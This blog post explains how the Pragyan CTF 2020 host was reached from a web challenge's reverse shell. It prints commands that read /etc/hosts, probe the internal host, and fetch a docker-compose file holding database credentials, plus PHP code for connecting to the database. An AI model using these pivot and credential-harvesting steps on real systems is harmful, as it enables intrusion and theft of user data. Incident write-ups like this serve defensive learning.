How Pragyan CTF 2020 hacked

   

Description

image-20200223041326135

First of all, I hope there is no misunderstanding, I didn’t abused the server.
During the toss of insomnia, I saw all the flags leaked of the ongoing CTF in CTFTime.
Using the reverse shell that was left open through the web challenge a few hours ago, I was able to identify all the causes 10 minutes after the server went down.

It’s not so technical, but I decided to write this down to show explanation for the dumbfounded participants.

Cause

The web challenge Brutus has a vulnerability in PHP unserialize.
And It gives remote code execution RCE Privileges to user.

img

This vuln allows us to create a reverse shell, and It doesn’t have a time-out check.
Even after five hours from solved the problem, the connection was still there.
Thanks to that, analysis was very comfortable.

1
2
3
4
5
6
7
8
www-data@5841bda2da57:/code$ cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.26.0.4 5841bda2da57

By the /etc/hosts file allows you to check the internal IP address of the challenge server is 172.26.0.4.
If not specifically managed, so I can expect the address of the host server is 172.26.0.1 or around that.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
www-data@5841bda2da57:/code$ curl 172.26.0.1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /</title>
</head>
<body>
<h1>Index of /</h1>
<table>
<tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">L
ast modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
<tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="mellivora/">mellivora/</a></td><td align="right">
2020-02-21 22:08 </td><td align="right"> - </td><td> </td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.4.29 (Ubuntu) Server at 172.26.0.1 Port 80</address>
</body></html>

It seems that a web server works on 172.26.0.1.

Here you can see one folder, and you can see that it’s using the Melivora CTF engine through its name and internal files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
www-data@5841bda2da57:/code$ curl 172.26.0.1/mellivora/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /mellivora</title>
</head>
<body>
<h1>Index of /mellivora</h1>
<table>
<tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
<tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td> </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="Dockerfile">Dockerfile</a></td><td align="right">2020-02-17 12:37 </td><td align="right">720 </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="LICENSE">LICENSE</a></td><td align="right">2020-02-17 12:37 </td><td align="right"> 34K</td><td> </td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="README.md">README.md</a></td><td align="right">2020-02-17 12:37 </td><td align="right">2.8K</td><td> </td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="benchmarks.md">benchmarks.md</a></td><td align="right">2020-02-17 12:37 </td><td align="right">6.4K</td><td> </td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="codeception.yml">codeception.yml</a></td><td align="right">2020-02-17 12:37 </td><td align="right">340 </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="composer.json">composer.json</a></td><td align="right">2020-02-17 12:37 </td><td align="right">696 </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="composer.lock">composer.lock</a></td><td align="right">2020-02-17 12:37 </td><td align="right">106K</td><td> </td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="docker-compose.dev.yml">docker-compose.dev.yml</a></td><td align="right">2020-02-22 06:35 </td><td align="right">1.1K</td><td> </td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="docker-compose.test.yml">docker-compose.test.yml</a></td><td align="right">2020-02-17 12:37 </td><td align="right">1.2K</td><td> </td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="htdocs/">htdocs/</a></td><td align="right">2020-02-17 12:37 </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="include/">include/</a></td><td align="right">2020-02-20 13:35 </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="install/">install/</a></td><td align="right">2020-02-17 12:37 </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="rules.txt">rules.txt</a></td><td align="right">2020-02-21 22:08 </td><td align="right">826 </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="tests/">tests/</a></td><td align="right">2020-02-17 12:37 </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="writable/">writable/</a></td><td align="right">2020-02-17 12:37 </td><td align="right"> - </td><td> </td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.4.29 (Ubuntu) Server at 172.26.0.1 Port 80</address>
</body></html>

Access to the internal folder was possible, of course, but when you crawl and open it in your browser, it looks like this:

pragyan1

The github page of the melivora engine can be found, and you can also get a hint from the date of modification, and the file docker-compose.dev.yml contains the credential information of CTF engine.

Below is the contents of the file docker-compose.dev.yml.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
www-data@5841bda2da57:/code$ curl 172.26.0.1/mellivora/docker-compose.dev.yml
version: '3'
services:
mellivora:
image: mellivora
ports:
- 4000:80
- 4002:443
build:
context: .
dockerfile: Dockerfile
environment:
MELLIVORA_CONFIG_DB_ENGINE: mysql
MELLIVORA_CONFIG_DB_HOST: db
MELLIVORA_CONFIG_DB_PORT: 3306
MELLIVORA_CONFIG_DB_NAME: [redacted]
MELLIVORA_CONFIG_DB_USER: [redacted]
MELLIVORA_CONFIG_DB_PASSWORD: [redacted]
volumes:
- .:/var/www/mellivora
- composerdependencies:/var/www/mellivora/include/thirdparty/composer
links:
- db
db:
image: mysql:5.6
ports:
- 13306:3306
environment:
MYSQL_DATABASE: [redacted]
MYSQL_USER: [redacted]
MYSQL_PASSWORD: [redacted]
MYSQL_ROOT_PASSWORD: [redacted]
volumes:
- dbdata:/var/lib/mysql
- ./install/sql:/docker-entrypoint-initdb.d
adminer:
image: adminer
restart: always
ports:
- 15246:8080
volumes:
composerdependencies:
dbdata:

CTF service is provided through two containers, mysql:5.6 and melivora, using docker-compose . And since database account credential has been leaked, so we can access to CTF database.

1
2
3
$con = new mysqli('172.26.0.1','[redacted]','[redacted]','[redacted]');
$res = $con->query('show databases')->fetch_all();
var_dump($res);

Therefore, using the shell of a web challenge to execute php code in this way, all tables and columns(including user credential and flags) in the database could be leaked, and we can drop all databases since we have root privilege (I didn’t test this unnecessarily)

image-20200223043626647

In this case, it’s because of incredibly bad management.
basically, the web services are running on a docker, so there’s no need to install a web server that would be a directory traversal on the host, and to put the contents of the docker stuffs in the webroot.

img

I don’t know if it’s true, but there are rumors that the organizer of this CTF hasn’t paid the right amount of money for years. (If you know the truth, please leave a comment.)

Thank you for reading this post.